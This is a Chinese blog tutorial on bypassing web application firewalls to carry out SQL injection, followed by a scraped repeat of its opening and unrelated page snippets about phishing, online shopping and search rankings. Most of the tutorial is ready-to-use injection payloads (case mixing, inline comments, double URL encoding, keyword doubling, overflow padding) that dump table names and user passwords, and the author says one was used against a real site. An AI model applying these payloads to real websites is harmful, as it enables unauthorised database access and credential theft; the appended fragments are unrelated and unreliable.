见招拆招:绕过WAF继续SQL注入常用方法

 这篇文章之前的名字叫做:WAF bypass for SQL injection #理论篇,我于6月17日投稿了Freebuf。链接:点击这里 现博客恢复,特发此处。

  Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。

WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具,帮助你防护网站来的。但是如果你代码写得特别渣渣,别说WAF帮不了你,就连wefgod都帮不了你…所以不能天真的以为用上WAF你的网站就百毒不侵了。开始正题—-

1>注释符

相信很多朋友都知道SQL的注释符吧,这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制,我们可以注释掉一些sql语句,然后让其只执行攻击语句而达到入侵目的。

常用注释符:
//, -- , /**/, #, --+, -- -, ;%00

2>情况改变

然而,以前审计的一些开源程序中,有些厂商的过滤很不严谨,一些是采用黑名单方式过滤,但是有些只过滤了小写形式,然而在传参的时候并没有将接收参数转换为小写进行匹配。针对这种情况,我们很简单就能绕过。

比如它的过滤语句是:
/union\sselect/g

  那么我们就可以这样构造:

id=1+UnIoN/**/SeLeCT

3>内联注释

有些WAF的过滤关键词像/union\sselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。

id=1/!UnIoN/SeLeCT
采用/! code /来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤,我们可以添加更多的内联注释内容。

比如一个过滤器过滤了:

union,where, table_name, table_schema, =, and information_schema

  这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过:

id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables /!WHERE /+/!TaBlE_ScHeMa/+like+database()-- -

通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

当一切似乎失败了之后,你可以尝试通过应用防火墙关闭SQL语句中使用的变量:
id=1+UnIoN/&a=/SeLeCT/&a=/1,2,3,database()-- -

即使常见内联注释本身没有工作,上述的代码也应该可以绕过union+select过滤器。

4>缓冲区溢出:

意想不到的输入:

我们知道,很多的WAFS都是C语言的,他们在装载一堆数据的时候,很容易就会溢出。下面描述的就是一个这样的WAF,当它接收到大量数据恶意的请求和响应时。
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+

上面的bypass语句,我在最近的一个网站绕过上用到了。

5>替换关键字(preg_replace and/or都能达到相同目的):

有时程序会删除所有的关键字,例如,有一个过滤器,他会把union select变成空白,这时我们可以采用以下方式进行绕过:
id=1+UNIunionON+SeLselectECT+1,2,3–

不难明白吧?union和select变成空白了,两边的又会重新组合成新的查询。
UNION+SELECT+1,2,3--

6>Character编码:

有些情况下,WAF对应用程序中的输入进行解码,但是有些WAF是只过滤解码一次的,所以只要我们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次然后过滤,之后的SQL语句就会被自动解码直接执行了~)

双重编码bypass语句示例:
id=1%252f%252a/UNION%252f%252a /SELECT%252f%252a/1,2,password%252f%252a/FROM%252f%252a/Users--+

一些双重编码举例:
单引号:'
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9

  7>综合:

绕过几个简单的WAF之后,后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。

7a>拆散SQL语句:

通常的做法是:需要把SQL注入语句给拆散,来检查是哪个关键字被过滤了。比如,如果你输入的是union+select语句,给你报了一个403或内部服务器错误,什么union不合法什么的,就知道过滤了哪些了,也是常见的Fuzzing测试。这是制造bypass语句的前提。

**
7b>冗长的报错:**

当你的sql语法输入错误时、对方网站又没关闭错误回显的时候,会爆出一大堆错误,在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。

比如你输入的语法是:
id=1+Select+1,2,3--

   会给你报出以下错误:

Error at line 1 near " "+1,2,3--

  上面也说过了黑名单方式过滤,也可以采用以下方式进行绕过:

sel%0bect+1,2,3
这只是众多方法之一,绕过不同WAF需要不同的bypass思路。

8>高级bypass技巧:

正如前面所说的,当你尝试着绕过几个WAF之后,你会觉得其实他并不难,会感觉到很有趣,很有挑战性 :b  ,当你在注入的时候发现自己被WAF之后,不要想要放弃,尝试挑战一下,看看它过滤了什么,什么语法允许,什么语法不允许。当然,你也可以尝试暴力一些,就把它当成inflatable doll, [;:{}()*&$/|<>?"'] 中括号里的这些特殊字符不是留着摆设的撒~能报个错出来都是颇为自豪的,骚年,你说对不对?

但是,如果你试了N个语句,都tm被过滤了,整个人都快崩溃了,该怎么办?很简单,打开音乐播放器,放一首小苹果放松一下。然后把WAF过滤的东东全部copy下来,仔细分析!俗话怎么说来着,世上无难事,只怕有心人。

举例来说,比如你分析到最后,发现所有的都被换成空白了,就意味着你不能使用内联注释了,union+select也会给你返回一个403错误,在这种情况下,你应该充分利用被替换成空白:
id=1+union+select+1,2,3--+

  这样的话,*被过滤掉了,但是union+select被保留下来了。这是常见的WAF bypass技巧,当然不仅仅是union+select,其他的语法被过滤了都可以采用这种的。找到被替换的那个关键字,你就能找到绕过的方法。

一些常见的bypass:
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+'UnI''On'+'SeL''ECT' <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only

注意:在mysql4.0种,UNI //ON+SEL// ECT是没办法用的。

结语:WAF的姿势取决于你思维的扩散,自我感觉在WAF bypass的过程中能找到很多乐趣,不是吗?更多姿势欢迎pm我。

时间: 2024-09-17 11:47:25

见招拆招:绕过WAF继续SQL注入常用方法的相关文章

绕过WAF继续SQL注入常用方法

这篇文章之前的名字叫做:WAF bypass for SQL injection #理论篇,我于6月17日投稿了Freebuf.链接:点击这里 现博客恢复,特发此处. Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过.WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招.那今天我在这里做个小小的扫盲吧.先来说说WAF bypass是啥. WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字.WAF仅仅是

网络黑客节庆狂欢 趋势科技见招拆招

本文讲的是网络黑客节庆狂欢 趋势科技见招拆招,[IT168资讯]红火.喜庆的圣诞节.新年让都市里忙碌的人们心潮涌动,街道上喜庆气氛,网络更是一篇欢腾.然而,网络病毒的黑手并没有因为狂欢节庆的来临而离开兴奋中的人群,反而也在组织"节庆狂欢"活动.作为网络安全软件及服务领域的全球领导者趋势科技提醒广大网民,在圣诞节及节假日期间,要留心QQ中奖信息.知名厂商的促销邮件以及大量的钓鱼网站.据趋势科技云安全的数据统计,近期已经成为了网络病毒发作的高峰期!          QQ中奖陷阱多多   

日本企业展开合作共享大数据,见招拆招针对性开发商品

如今的市场已经无法再一家独大,资源的共享和利润的共赢才是趋势.日前,日本众多企业展开合作,通过共享大数据,分析消费者网购习惯和检索检录,从而"见招拆招",有针对性地开发商品. <日经中文网>1月27日的报道显示,日本雅虎和办公用品网购公司ASKUL将在活用大数据的商品开发领域与主要食品.日用品厂商展开合作.将与宝洁公司(P&G)日本法人以及味之素等12家企业共同解析消费者网购的商品和检索记录等.这将有助于开发符合特定顾客喜好和生活场面的新商品.相关企业将跨越竞争的壁

电商价格战:大厂商见招拆招 神仙打架平民遭殃

五一促销季刚刚结束,几大电商新一轮的价格战又开打.仅仅两天内,天猫.苏宁易购.京东商城先后宣布将全面促销,涉及补贴金额超过了10亿元.不过"战火纷飞"的http://www.aliyun.com/zixun/aggregation/7575.html">电商促销大战,注定是一场"神仙大战",强势的大牌厂家或一级代理商或许会通过灵活的渠道策略,扩大销量或清除库存,而被殃及的却永远是并不拥有话语权的中小代理商,"价格战终究将消灭二三级代理,尤以

春节返乡反逼婚指南 - 3分钟教你如何贱招拆招

class="post_content" itemprop="articleBody"> 子曾经曰过:独在异乡为异客,每逢佳节被逼婚.在这个男默女泪的佳节,全家团聚其乐融融之际,你结婚了吗?在一大波逼婚家长靠近前,花三分钟让小编教你如何贱招拆招,今年成功反逼婚,明年成功结成婚-- 春节返乡反逼婚指南

网购遇假货维权还得“见招拆招”

前日,本报推出<网上买真货 真的有点难>的报道,看了周先生的网购遭遇,不少市民打进热线表示同情和惋惜,更有"网购达人"热心为其支招,以亲身经历教周先生如何申诉,挽回损失.电话中,市民在感慨网上 假货多之余,纷纷质疑:网购遇假货,难道只能吃"哑巴亏"?作为普通消费者,如何为自己维权:有谁,能为消费者遭遇网购陷阱"埋单"? 见招 我卖的是原单 绝对不是假货 "就这样吃了'哑巴亏'?为什么不找 卖家退货呢,或许还能挽回自己的损失.

网购大盘点:见招拆招教你识破网购骗术

四招攻略:玩转网购天下 1.想网购先擦亮眼睛 网购看不到实物,永远不要相信广告图和宣称实物拍摄的精美单品图,有了PS,母猪都能变貂婵.模特上身图漂亮不能代表你穿就会漂亮,请一定询问模特的身高和三围. 看清楚成分标签,网上 卖家大多都是非专业卖家,90%会把羊毛当羊绒卖,把沙丁布当真丝卖.跟他们不用较真,别相信后期处理痕迹明显的图片,他会把肉眼所看到的所有缺陷都遮掩掉,别相信所谓瑞丽.韩版,品质差强人意和图片判若两人. 2.地狱式搜索 如果你有时间最好能够在逛小店的时候把看上的衣服都试了,记住品牌

深圳晚报:电话诈骗见招拆招

"××××××××的用户,您的电话已欠费,请尽快补缴话费,详情咨询请按9"."把款打入这个账户--某某". "你已中奖100元,领奖事宜请咨询××××××××"近段时间,记者频繁接到这样莫名其妙的电话.短信,电话诈骗简直无孔不入. "2008年,仅北京.上海.广东.福建四个省市的群众就被电话诈骗骗走了6亿多元.今年1至3月份北京群众损失6800多万元,广东群众损失8000多万元."近期公安部门透露的数据让人触目惊心.警方还提示

沃顿商学院:谷歌调整算法 SEO见招拆招

导语:美国宾夕法尼亚大学沃顿商学院旗下电子杂志<沃顿知识在线>周三刊文,对谷歌修改算法并改善搜索质量的行为进行了分析. 以下为文章全文: 调整算法 在经历了一系列针对搜索质量的批评后,谷歌开始采取行动.这家搜索巨头最近对排序规则进行了调整,为"高质量"内容赋予更高的权重,同时下调了"不太有用"的信息的排名.谷歌表示,此举将对全美约12%的搜索请求产生显著影响. 谷歌是2月24日宣布这一计划的.谷歌以往也对搜索进行过一些细微调整,但普通用户通常都无法察觉,